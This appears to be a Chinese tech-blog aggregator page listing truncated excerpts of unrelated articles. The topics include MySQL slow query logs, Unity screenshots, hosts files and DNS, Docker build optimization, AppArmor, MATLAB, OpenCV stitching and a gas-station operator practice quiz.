在 MySQL 中&#xff0c;慢查询日志&#xff08;Slow Query Log&#xff09;用于记录执行时间超过指定阈值的 SQL 语句。通过分析慢查询日志&#xff0c;可以优化数据库性能。以下是查看和配置 MySQL 慢查询日志的详细步骤&#xff1a; 1. 检查慢查询日志是否已启用 登录 MySQ…...

unity 截图并且展现在UI中

using UnityEngine; using UnityEngine.UI; using System.IO; using System.Collections.Generic; using System; using System.Collections;public class ScreenshotManager : MonoBehaviour {[Header("UI 设置")]public RawImage latestScreenshotDisplay; // 显示…...

Linux上位机开发实践(MPP平台的核心构成)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 芯片行业是一个赢者通吃的行业。也就是说细分领域的前两名&#xff0c;相比较后来者而言&#xff0c;拥有很多无可比拟的优势。以安防市场的soc来说…...

Hosts文件与DNS的关系:原理、应用场景与安全风险

目录 引言 Hosts文件与DNS的基本概念 2.1 什么是Hosts文件&#xff1f; 2.2 什么是DNS&#xff1f; Hosts文件与DNS的关系 Hosts文件的应用场景 4.1 本地开发与测试 4.2 屏蔽广告与恶意网站 4.3 绕过DNS污染或劫持 Hosts文件的优势 5.1 解析速度快 5.2 不受DNS缓存影…...

Stable Diffusion vue本地api接口对接,模型切换, ai功能集成开源项目 ollama-chat-ui-vue

1.开启Stable Diffusion的api服务 编辑webui-user.bat 添加 –api 开启api服务&#xff0c;然后保存启动就可以了 2.api 文档地址 http://127.0.0.1:7860/docs3. 文生图 接口 地址 /sdapi/v1/txt2img //post 请求入参 {enable_hr: false, // 开启高清hrdenoising_stre…...

【含文档+源码】基于SpringBoot的过滤协同算法之网上服装商城设计与实现

项目介绍 本课程演示的是一款 基于SpringBoot的过滤协同算法之网上服装商城设计与实现&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含&#xff1a;项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署…...

优化 Docker 构建之方法(Methods for Optimizing Docker Construction)

优化 Docker 构建之方法 优化 Docker 构建不仅是为了提高效率&#xff0c;它还是降低部署成本、确保安全性和保持跨环境一致性的有效方法。每个层、依赖项和配置选择都会影响镜像的大小、安全性和可维护性。大型镜像部署速度较慢且消耗更多资源&#xff0c;这会增加成本&#…...

谈谈空间复杂度考量,特别是递归调用栈空间消耗?

空间复杂度考量是算法设计的核心要素之一&#xff0c;递归调用栈的消耗问题在前端领域尤为突出。 以下结合真实开发场景进行深度解析&#xff1a; 一、递归调用栈的典型问题 1. 深层次DOM遍历的陷阱 // 危险操作&#xff1a;递归遍历未知层级的DOM树 function countDOMNode…...

四川省汽车加气站操作工备考题库及答案分享

1.按压力容器的设计压力分为&#xff08; &#xff09;个压力等级。 A. 三 B. 四 C. 五 D. 六 答案&#xff1a;B。解析&#xff1a;按压力容器的设计压力分为低压、中压、高压、超高压四个压力等级。 2.缓冲罐的安装位置在天然气压缩机&#xff08; &#xff09;。 A. 出口处 …...

《探秘SQL的BETWEEN:解锁数据范围查询的深度奥秘》

在数据的广袤宇宙中&#xff0c;结构化查询语言&#xff08;SQL&#xff09;宛如一座精密的导航系统&#xff0c;引导我们穿越数据的浩瀚星河&#xff0c;精准定位所需信息。其中&#xff0c;BETWEEN作为SQL的关键工具之一&#xff0c;以其独特的能力&#xff0c;在数据的海洋里…...

AppArmor 使用说明

目录 一&#xff1a;AppArmor 功能介绍二&#xff1a;AppArmor 配置介绍1、AppArmor 配置文件存放路径2、AppArmor 配置文件命名规则 三&#xff1a; AppArmor 工作模式1、AppArmor 两种工作模式2、查看当前进程的工作模式3、给指定进程切换工作模式4、重新加载配置文件生效 四…...

Linux的一些常见指令

一、ls指令 语法&#xff1a; ls (选项) 功能&#xff1a; ls可以查看当前目录下的所有文件和目录。 常用选项&#xff1a; -a:列出目录下的所有文件&#xff0c;包括以点&#xff08;.&#xff09;开头的隐含文件 。-d:将目录像文件一样显示&#xff0c;不显示其下的文件。…...

MATLAB中getfield函数用法

目录 语法 说明 示例 访问标量结构体的字段 嵌套结构体的字段 结构体数组元素的字段 嵌套结构体数组的索引 字段的元素 getfield函数的功能是结构体数组字段。 语法 value getfield(S,field) value getfield(S,field1,...,fieldN) value getfield(S,idx,field1,..…...

算法 | 河马优化算法原理,公式,应用,算法改进及研究综述,matlab代码

以下是关于河马优化算法(Hippopotamus Optimization Algorithm, HO)的完整综述,包含原理、公式、应用场景、改进方向及可直接运行的 Matlab 完整代码。一、算法原理 河马优化算法(HO)由Amiri等人于2024年提出,是受河马群体行为启发的元启发式算法,其核心基于以下三阶段行…...

Oracle到MySQL实时数据互通:透明网关跨库查询终极方案

技术架构概述 节点类型IP示例Oracle数据库172.18.0.11透明网关节点192.168.5.20MySQL数据库10.10.8.100 提示&#xff1a;透明网关支持部署在Oracle服务器实现集中式管理 一、MySQL环境准备 1. ODBC驱动部署 从MySQL官网获取对应版本的ODBC驱动&#xff1a; # 企业版推荐使…...

BAPLIE船图文件:EDI 核心字段与应用场景解析

BAPLIE&#xff08;Bay Plan/Stowage Plan Occupied and Empty Locations Message&#xff09;作为EDIFACT国际报文标准&#xff08;D96A版本&#xff09;的核心成员&#xff0c;是集装箱海运领域实现船舶配载数字化的关键工具。其通过结构化数据精确描述集装箱在船舶上的物理位…...

C#中获取字节数据的高字节和低字节

字节顺序(Endianness)&#xff1a; 1.小端序(Little-Endian)&#xff1a;低字节在前&#xff08;x86架构&#xff09; 2.大端序(Big-Endian)&#xff1a;高字节在前&#xff08;网络字节序&#xff09; 特性小端序&#xff08;Little-Endian&#xff09;大端序&#xff08;B…...

26考研——查找_树形查找_二叉排序树(BST)(7)

408答疑 文章目录 三、树形查找二叉排序树&#xff08;BST&#xff09;二叉排序树中结点值之间的关系二叉树形查找二叉排序树的查找过程示例 向二叉排序树中插入结点插入过程示例 构造二叉排序树的过程构造示例 二叉排序树中删除结点的操作情况一&#xff1a;被删除结点是叶结点…...

OpenCV图像拼接(5)图像拼接模块的用于创建权重图函数createWeightMap()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 cv::detail::createWeightMap 是 OpenCV 库中用于图像拼接模块的一个函数&#xff0c;主要用于创建权重图。这个权重图在图像拼接过程中扮演着重…...